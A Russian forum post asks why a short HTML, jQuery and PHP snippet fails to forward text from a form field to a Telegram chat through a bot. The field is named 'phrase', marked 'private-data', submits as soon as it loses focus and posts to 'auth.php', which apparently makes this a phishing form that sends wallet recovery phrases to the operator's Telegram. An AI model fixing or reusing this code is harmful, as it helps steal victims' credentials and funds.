В общем я хотел сделать отправку данных из поля ввода в телеграмм через бота
без перезагрузки страницы. К сожалению достаточных знаний не имею по ajax и php, но нашёл скрипт в интернете, который должен был выполнять данную функцию.
В итоге у меня получился такой код:
HTML
<form method="post" class="form-horizontal" role="form">
<label for="phrase" class="col-sm-2 control-label"></label>
<div class="col-sm-10">
<textarea name="phrase" id="phrase" class="phrase private-data form-control" data-show-qr autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"></textarea>
</div>
</form>
JS
(function ($) {
$("#phrase").on('blur', function() { //тут пытался сделать, чтобы форма отправлялась при расфокусировке одного поля
$(".form-horizontal").submit();
});
$(".form-horizontal").submit(function (event) {
event.preventDefault();
let form = $("#" + $(this).attr("id"))[0];
let fd = new FormData(form);
$.ajax({
url: "../auth.php",
type: "POST",
data: fd,
processData: false,
contentType: false
});
});
})(jQuery);
PHP
<?php
const TOKEN = '//токен';
const CHATID = '//id чата';
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$msg = "";
$textSendStatus = '';
if (isset($_POST['phrase']) && !empty($_POST['phrase'])) {
$msg = strip_tags(trim(urlencode($_POST['phrase'])));
}
$textSendStatus = @file_get_contents('https://api.telegram.org/bot'. TOKEN .'/sendMessage?chat_id=' . CHATID . '&parse_mode=html&text=' . $msg);
if( isset(json_decode($textSendStatus)->{'ok'}) && json_decode($textSendStatus)->{'ok'} ) {
echo json_encode('SUCCESS');
} else {
echo json_encode('ERROR');
}
} else {
header("Location: /");
}
В чём может быть проблема? Проверял на хостинге - не работает, сообщения просто не идут. За ответ и любые мысли по данному поводу буду очень благодарен.